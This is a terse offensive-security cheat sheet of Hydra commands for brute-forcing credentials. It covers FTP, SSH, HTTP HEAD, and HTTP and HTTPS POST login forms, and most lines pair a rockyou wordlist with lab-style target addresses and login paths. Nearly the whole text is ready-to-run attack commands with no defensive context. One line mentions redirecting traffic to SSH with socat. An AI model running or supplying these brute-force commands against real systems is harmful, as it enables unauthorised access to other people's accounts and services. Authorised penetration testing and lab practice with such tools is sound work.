Hydra 🐍

• Hydra by ftp

hydra -l user -P passwords.txt ftp://<target-ip>

• Hydra for http form:

hydra -l fox -P /usr/share/wordlists/rockyou.txt -u -s 80 IP_HOST http-head

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=admin&password=^PASS^:Invalid Password!"

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password"

• Brute force ssh:

  • Use it when you can perform a redirection of the traffic to the ssh port but you have modified the configuration from the inside with socat

hydra -l USER -P /usr/share/wordlists/rockyou.txt ssh://IP_VICTIM:PORT

• Brute force login form:

hydra -L USERFILE -P PASSWORDFILE DOMAIN/IP METHOD "REDIRECTIONURL:PARAMETERS:FAILMESSAGE:H=COOKIES"